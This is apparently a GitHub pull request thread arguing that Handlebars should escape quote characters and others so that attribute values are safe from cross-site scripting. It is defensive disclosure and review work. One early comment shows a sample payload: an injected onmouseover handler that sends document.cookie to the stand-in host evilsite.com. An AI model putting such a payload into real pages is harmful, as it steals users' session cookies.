Is there a problem with this patch? I'd be happy to make any changes necessary to land it.

In case my description wasn't clear, the current set of escaped characters allows an easy XSS via HTML attribute values. If we use a context object like this one that contains some malicious user input...

{username: '" onmouseover="window.location=\'http://evilsite.com?c=\'+document.cookie'}

...to render this seemingly harmless template...

Posted by <a href="/users/{{username}}">{{username}}</a>.

...then the attacker's JavaScript is executed and he has the cookies of any user who mouses over that link, because Handlebars doesn't currently escape content properly for use in attribute values.

Since other Mustache implementations commonly escape at least <, >, &, and " and since Handlebars doesn't explicitly document the characters it escapes, it would be easy for an implementer using Handlebars to assume that the default escaping makes user input safe to use in attribute values (I did!).

I support escaping " and ', but why '/'? And for that matter, why bother escaping '>'? -- it's not a reserved character in HTML.

If people are using handlebars and not quoting their attributes, you actually need to escape all of these:
http://wonko.com/post/html-escaping

If attributes are escaped, then all you need is '<','&', and the two quote characters.

I wrote that blog post, and I think you may not have understood the message, which is that there's no single way to escape input so that it can be used safely everywhere.

I think it's reasonable to make things safe for use only in quoted attributes, as long as we document that unquoted attributes are unsafe. It's not feasible to provide a perfect default escaping mechanism for all possible uses, but the minimum bar should be to escape content safely for use in element bodies and quoted attribute values.

The rationale for escaping / comes from the OWASP recommendations linked in the pull request description above. Their reasoning is that / can be used instead of ; to end an HTML entity, such as &amp/. In hindsight, as long as & is always escaped when not part of a valid entity, it's probably not necessary for Handlebars to also escape /.

It is necessary to escape >. While HTML tolerates unescaped > characters as long as they're not balanced by a matching <, they can still be used to do things like ending a comment prematurely. Better safe than sorry, and it's not like escaping > is costly.

That's certainly the message I got (excellent post! -- how often have you been quoted at yourself? :-).

My point wasn't that we actually should escape all those things, but that operating under a attributes-are-wrapped-in-quotes, is a reasonable line, which is a simple message to communicate ("wrap all attributes in quotes to avoid XSS") and escapes content for those situations.

Anyway I hope they take your pull request.

I filed this pull request a month ago, and have yet to receive a response from a Handlebars maintainer. In the meantime, there have been several Handlebars 1.0.0 beta releases, and I see that the Sproutcore 2.0 developer preview (including a version of Handlebars with this XSS issue) has now been announced.

I'm surprised at this, given the potential security issue for anyone who uses Handlebars or Sproutcore.

Should I take this as an indication that this fix isn't wanted? Or is it just not wanted yet? Have my descriptions of why this issue is important not been clear? If there's anything I can do to clarify the explanation of the problem, or to improve the implementation of the fix, please tell me. I don't want to see Handlebars 1.0.0 or Sproutcore 2.0 go out with a known security vulnerability that could have been prevented.

Yay!